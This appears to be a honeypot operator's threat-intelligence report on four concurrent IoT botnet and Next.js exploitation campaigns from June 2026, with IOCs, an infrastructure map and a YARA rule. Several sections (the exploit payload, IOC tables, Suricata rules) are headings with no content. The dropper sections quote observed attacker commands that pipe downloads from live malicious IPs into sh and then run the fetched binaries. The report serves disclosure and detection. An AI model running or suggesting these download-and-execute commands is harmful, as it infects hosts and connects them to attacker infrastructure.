Executive Summary

Between 2026-06-04 and 2026-06-23, cowrAI sensors observed three distinct campaigns operating concurrently. The most significant is the "Flylegit" IoT worm (Telegram: t.me/flylegit), a fully multi-architecture botnet deploying 14-arch binaries from 83.168.110.191 under the guise of a system updater. The malware contains explicit honeypot detection logic that reads /proc/<pid>/comm and exits silently in emulated environments — confirmed by divergent detonation behavior across our sandbox (ARMv7 connected to C2 at port 1336; ARMv5/6 exited cleanly with no contacts). Zero VT detections across all 14 samples as of 2026-06-23.

In parallel, a Next.js Server Actions RCE scanner (103.13.206.12) has been active since 2026-06-09, firing 933 exploit attempts using React Server Components prototype-pollution to gain unauthenticated code execution on vulnerable Node.js web servers. The recovered dropper (repositorylinux.dpdns.org/linux.sh, 24,942 bytes) has no VT coverage.

A third campaign, "Frosty" Mirai (family-confirmed), explicitly targets Realtek-based embedded devices from 109.104.153.60. Sandbox detonation confirmed live C2 at 103.106.228.23:80 across 14 consecutive runs spanning 7 days.

Campaign 1 — Flylegit IoT Worm (t.me/flylegit)

"Looks like you are a honeypot, this tool was made by t.me/flylegit!"

Multi-Architecture Deployment

14 distinct binaries deployed in a single distribution directory, covering embedded Linux, SoC, mobile, and server targets:

Files named iran.<arch> on the server; renamed to updaterros.<arch> by the loader after download. The naming convention (iran.*) is consistent with prior "flylegit" tooling observed in open-source reporting.

Dropper Sequence (Observed on Fleet)

# Attacker arrives via SSH, runs after login:
curl -s http://83.168.110.191/updaterros.armv7l | sh && echo DONE

# The shell script downloads, stages, and executes:
busybox wget http://83.168.110.191/updaterros.armv7l \
  -O /data/local/tmp/com.adal
chmod 777 /data/local/tmp/com.adal
/data/local/tmp/com.adal
# Connects back to 83.168.110.191:1336

Malware Capabilities (Extracted Strings)

HTTP scanning functionality confirmed — the binary emulates a modern browser session targeting common web admin paths:

# HTTP attack surface
/proc/%s/comm       ← honeypot process check
%s %s HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
/wp-admin
/api/v1
/index.html
/about
/products

Malware Inventory (IOC)

Campaign 2 — Next.js Server Actions RCE (repositorylinux.dpdns.org)

Full Exploit Payload (Recovered from Fleet)

Key Observations

• Attacker uses -k / --no-check-certificate — the dropper server uses HTTPS with an untrusted certificate.
• Dual-fetch pattern (curl fallback to wget) indicates targeting heterogeneous Linux environments.
• The NEXT_REDIRECT error digest exfiltration means no explicit HTTP response is needed — the attacker reads the 307 redirect location header from the server response.
• Scanner has been consistent for 14 days with no C2 rotation — suggests a low-OPSEC mass-scanner, not targeted intrusion.

Dropper IOC

Campaign 3 — Frosty Mirai (Realtek-targeted)

C2: 103.106.228.23:80
Status: ALIVE (14/14 connections confirmed)
Bot behavior: connect → idle → await command

Dropper Sequence

# Observed loader command from 203.193.150.244 relay:
cd /var
rm -rf zuki
wget http://109.104.153.60/bins/frosty.mips -O zuki
chmod 777 zuki
./zuki realtek.selfrep    ← self-replication mode targeting Realtek devices

IOC Table

Annex — Rebirth Mirai (Huawei/ADB-targeted)

A fourth campaign was observed at lower volume from 176.65.139.48, deploying rebirth.arm7 (SHA-256: 849840d9…b9b5, 199,179 bytes, family: Mirai). Binary contains explicit Huawei home gateway exploit payload (CVE targeting POST /ctrlt/DeviceUpgrade_1 with digest auth) and Steam Source Engine Query bytes (DDoS amplification primitive). Also targets Android ADB (com.supercell.clashroyal masquerade). Sandbox confirmed C2 at 178.16.52.104:18234, :19823, :62849.

Infrastructure Map

Relay / Recon node
  203.193.150.244  ──── fires 29-cmd sysrecon sequence ────────────────── victim SSH
      │
      ├── wget http://109.104.153.60/bins/frosty.mips → zuki         [Mirai]
      │         └── C2 → 103.106.228.23:80
      │
      ├── curl http://83.168.110.191/updaterros.<arch> | sh         [Flylegit]
      │         └── C2 → 83.168.110.191:1336 (same server)
      │
      ├── wget http://156.226.174.98/bins/sora.<arch> → robben      [Sora, unconfirmed]
      │         └── C2 → unknown (exec exits cleanly, 0 contacts)
      │
      └── wget http://176.65.139.48/rebirth.arm7                     [Rebirth Mirai]
                └── C2 → 178.16.52.104 :18234/:19823/:62849

Web RCE scanner (separate campaign)
  103.13.206.12   ──── RSC prototype pollution form-post ─────────────── Next.js server
                          └── dropper: repositorylinux.dpdns.org/linux.sh

MITRE ATT&CK Mapping

Master IOC List

IP Addresses

Domains

File Hashes (SHA-256)

Detection Signatures

Suricata — Flylegit Distribution Server

Suricata — Frosty/Mirai C2

Suricata — Next.js RSC Prototype Pollution RCE

Yara — Flylegit Honeypot Detection String

rule Flylegit_IoT_Worm_Honeypot_Check {
    meta:
        author = "cowrAI"
        date = "2026-06-23"
        description = "Flylegit multi-arch worm with honeypot detection"
        reference = "https://cowrai-intel-reports.pages.dev/june-2026-iot-surge"
    strings:
        $hp_str = "Looks like you are a honeypot, this tool was made by t.me/flylegit!" ascii
        $tg = "t.me/flylegit" ascii
        $proc = "/proc/%s/comm" ascii
    condition:
        uint32(0) == 0x464C457F and  // ELF magic
        any of them
}

Collection Methodology

All data collected from the cowrAI distributed honeypot fleet: 36 Linux VPS nodes across Cloudzy (Bern/Frankfurt), Vultr, DigitalOcean, Netcup, TeamBlue, and Hetzner. Each node runs cowrie 2.9.17 with the LLM backend (Gemma3:12b) for authentic shell interaction, plus a randomized subset of 9 alt-protocol lure daemons (adbhoney, soaplure, httplure, redislure, llmlure, apachelure, sqllure, vnclure, mlinfralure).

Events ingest in near-real-time to Cloudflare D1 (operational) and PostgreSQL (via Hyperdrive) with Analytics Engine for fleet aggregates. Binaries are captured by the ingest sidecar and stored in R2; classification runs automatically (strings extraction → family heuristics → VirusTotal → tria.ge → Workers AI summary → YARA). Sandbox detonation runs on sandbox-sfo (Ubuntu, QEMU user-mode emulation, WARP egress, 50 Mbit/s qdisc + outbound denylist) with 300-second default runtime and 12-hour dwell option.

Timeline